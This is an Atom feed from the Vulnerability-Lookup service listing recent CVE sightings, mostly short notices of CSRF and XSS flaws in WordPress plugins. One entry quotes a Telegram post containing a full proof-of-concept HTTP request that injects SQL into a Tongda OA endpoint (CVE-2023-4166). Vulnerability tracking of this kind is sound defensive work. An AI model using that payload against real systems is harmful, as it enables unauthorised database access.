<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/sightings/feed</id>
  <title>Most recent sightings.</title>
  <updated>2026-09-29T18:45:48.694099+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent sightings.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/sighting/0fad7273-c097-47e7-bf83-06b442cbd2f5/export</id>
    <title>0fad7273-c097-47e7-bf83-06b442cbd2f5</title>
    <updated>2026-09-29T18:45:48.725535+00:00</updated>
    <author>
      <name>Automation user</name>
      <uri>https://cvepremium.circl.lu/user/automation</uri>
    </author>
    <content>{"uuid": "0fad7273-c097-47e7-bf83-06b442cbd2f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4166", "type": "exploited", "source": "Telegram/_BkbNhDHFRzkVF5tbtY3Kddn9VxORT3FDboj5Rtp-tRAsvg", "content": "", "creation_timestamp": "2026-09-19T00:00:38.038404Z"}</content>
    <link href="https://vulnerability.circl.lu/sighting/0fad7273-c097-47e7-bf83-06b442cbd2f5/export"/>
    <published>2026-09-19T00:00:38.038404+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/sighting/d8832102-907a-40bc-af6f-59d47161495f/export</id>
    <title>d8832102-907a-40bc-af6f-59d47161495f</title>
    <updated>2026-09-29T18:45:48.728019+00:00</updated>
    <author>
      <name>Automation user</name>
      <uri>https://cvepremium.circl.lu/user/automation</uri>
    </author>
    <content>{"uuid": "d8832102-907a-40bc-af6f-59d47161495f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4166", "type": "seen", "source": "Telegram/_BkbNhDHFRzkVF5tbtY3Kddn9VxORT3FDboj5Rtp-tRAsvg", "content": "", "creation_timestamp": "2026-09-18T04:00:07.376419Z"}</content>
    <link href="https://vulnerability.circl.lu/sighting/d8832102-907a-40bc-af6f-59d47161495f/export"/>
    <published>2026-09-18T04:00:07.376419+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/sighting/8a086ce4-6e9d-40af-b1ee-db9ff044bb82/export</id>
    <title>8a086ce4-6e9d-40af-b1ee-db9ff044bb82</title>
    <updated>2026-09-29T18:45:48.728152+00:00</updated>
    <author>
      <name>Automation user</name>
      <uri>https://cvepremium.circl.lu/user/automation</uri>
    </author>
    <content>{"uuid": "8a086ce4-6e9d-40af-b1ee-db9ff044bb82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-41664", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113647463877853767", "content": "", "creation_timestamp": "2024-12-13T20:44:39.327107Z"}</content>
    <link href="https://vulnerability.circl.lu/sighting/8a086ce4-6e9d-40af-b1ee-db9ff044bb82/export"/>
    <published>2024-12-13T20:44:39.327107+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/sighting/7efbc9fa-f934-4f37-a138-57f83af8023c/export</id>
    <title>7efbc9fa-f934-4f37-a138-57f83af8023c</title>
    <updated>2026-09-29T18:45:48.728266+00:00</updated>
    <author>
      <name>Automation user</name>
      <uri>https://cvepremium.circl.lu/user/automation</uri>
    </author>
    <content>{"uuid": "7efbc9fa-f934-4f37-a138-57f83af8023c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4166", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/857", "content": "\u901a\u8fbeOA sql\u6ce8\u5165\u6f0f\u6d1e CVE-2023-4166 POC\n\nGET /general/system/seal_manage/dianju/delete_log.php?DELETE_STR=1)%20and%20(substr(DATABASE(),1,1))=char(84)%20and%20(select%20count(*)%20from%20information_schema.columns%20A,information_schema.columns%20B)%20and(1)=(1 HTTP/1.1\nHost: 127.0.0.1:8080\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1\n\n2023  \ud83c\udde8\ud83c\uddf3\u62a4\u7f51poc \n#poc", "creation_timestamp": "2023-10-10T15:06:55.000000Z"}</content>
    <link href="https://vulnerability.circl.lu/sighting/7efbc9fa-f934-4f37-a138-57f83af8023c/export"/>
    <published>2023-10-10T15:06:55+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/sighting/7b7e4480-d05b-482b-b452-1b0c4a629f14/export</id>
    <title>7b7e4480-d05b-482b-b452-1b0c4a629f14</title>
    <updated>2026-09-29T18:45:48.728391+00:00</updated>
    <author>
      <name>Automation user</name>
      <uri>https://cvepremium.circl.lu/user/automation</uri>
    </author>
    <content>{"uuid": "7b7e4480-d05b-482b-b452-1b0c4a629f14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-41669", "type": "seen", "source": "https://t.me/cibsecurity/71856", "content": "\u203c CVE-2023-41669 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in DAEXT Live News plugin &amp;lt;=\u00c2\u00a01.06 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-09T22:16:09.000000Z"}</content>
    <link href="https://vulnerability.circl.lu/sighting/7b7e4480-d05b-482b-b452-1b0c4a629f14/export"/>
    <published>2023-10-09T22:16:09+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/sighting/dcb891b3-ebe1-4bb3-81b8-f5b4a54edb93/export</id>
    <title>dcb891b3-ebe1-4bb3-81b8-f5b4a54edb93</title>
    <updated>2026-09-29T18:45:48.728498+00:00</updated>
    <author>
      <name>Automation user</name>
      <uri>https://cvepremium.circl.lu/user/automation</uri>
    </author>
    <content>{"uuid": "dcb891b3-ebe1-4bb3-81b8-f5b4a54edb93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-41668", "type": "seen", "source": "https://t.me/cibsecurity/71853", "content": "\u203c CVE-2023-41668 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in Leadster plugin &amp;lt;=\u00c2\u00a01.1.2 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-09T22:16:06.000000Z"}</content>
    <link href="https://vulnerability.circl.lu/sighting/dcb891b3-ebe1-4bb3-81b8-f5b4a54edb93/export"/>
    <published>2023-10-09T22:16:06+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/sighting/e7a2a652-0403-42c0-b5d8-ae81fe1a7238/export</id>
    <title>e7a2a652-0403-42c0-b5d8-ae81fe1a7238</title>
    <updated>2026-09-29T18:45:48.728604+00:00</updated>
    <author>
      <name>Automation user</name>
      <uri>https://cvepremium.circl.lu/user/automation</uri>
    </author>
    <content>{"uuid": "e7a2a652-0403-42c0-b5d8-ae81fe1a7238", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-41667", "type": "seen", "source": "https://t.me/cibsecurity/71850", "content": "\u203c CVE-2023-41667 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in Ulf Benjaminsson WP-dTree plugin &amp;lt;=\u00c2\u00a04.4.5 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-09T22:16:02.000000Z"}</content>
    <link href="https://vulnerability.circl.lu/sighting/e7a2a652-0403-42c0-b5d8-ae81fe1a7238/export"/>
    <published>2023-10-09T22:16:02+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/sighting/1eb49c8e-0adb-4878-9101-b926c4b1ff2f/export</id>
    <title>1eb49c8e-0adb-4878-9101-b926c4b1ff2f</title>
    <updated>2026-09-29T18:45:48.728706+00:00</updated>
    <author>
      <name>Automation user</name>
      <uri>https://cvepremium.circl.lu/user/automation</uri>
    </author>
    <content>{"uuid": "1eb49c8e-0adb-4878-9101-b926c4b1ff2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-41660", "type": "seen", "source": "https://t.me/cibsecurity/71847", "content": "\u203c CVE-2023-41660 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in WPSynchro WP Synchro plugin &amp;lt;=\u00c2\u00a01.9.1 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-09T18:16:01.000000Z"}</content>
    <link href="https://vulnerability.circl.lu/sighting/1eb49c8e-0adb-4878-9101-b926c4b1ff2f/export"/>
    <published>2023-10-09T18:16:01+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/sighting/d5447c34-0559-4d8b-96c2-bfbdf132aa2c/export</id>
    <title>d5447c34-0559-4d8b-96c2-bfbdf132aa2c</title>
    <updated>2026-09-29T18:45:48.728800+00:00</updated>
    <author>
      <name>Automation user</name>
      <uri>https://cvepremium.circl.lu/user/automation</uri>
    </author>
    <content>{"uuid": "d5447c34-0559-4d8b-96c2-bfbdf132aa2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-41666", "type": "seen", "source": "https://t.me/cibsecurity/71309", "content": "\u203c CVE-2023-41666 \u203c\n\nAuth. (contributor+) Stored Cross-Site Scripting (XSS) vulnerability in Stockdio Stock Quotes List plugin &amp;lt;=\u00c2\u00a02.9.9 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-29T18:38:00.000000Z"}</content>
    <link href="https://vulnerability.circl.lu/sighting/d5447c34-0559-4d8b-96c2-bfbdf132aa2c/export"/>
    <published>2023-09-29T18:38:00+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/sighting/2fd39670-3ec0-41ab-904d-d02a277718bb/export</id>
    <title>2fd39670-3ec0-41ab-904d-d02a277718bb</title>
    <updated>2026-09-29T18:45:48.728896+00:00</updated>
    <author>
      <name>Automation user</name>
      <uri>https://cvepremium.circl.lu/user/automation</uri>
    </author>
    <content>{"uuid": "2fd39670-3ec0-41ab-904d-d02a277718bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-41661", "type": "seen", "source": "https://t.me/cibsecurity/71300", "content": "\u203c CVE-2023-41661 \u203c\n\nAuth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in PressPage Entertainment Inc. Smarty for WordPress plugin &amp;lt;=\u00c2\u00a03.1.35 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-29T18:37:50.000000Z"}</content>
    <link href="https://vulnerability.circl.lu/sighting/2fd39670-3ec0-41ab-904d-d02a277718bb/export"/>
    <published>2023-09-29T18:37:50+00:00</published>
  </entry>
</feed>
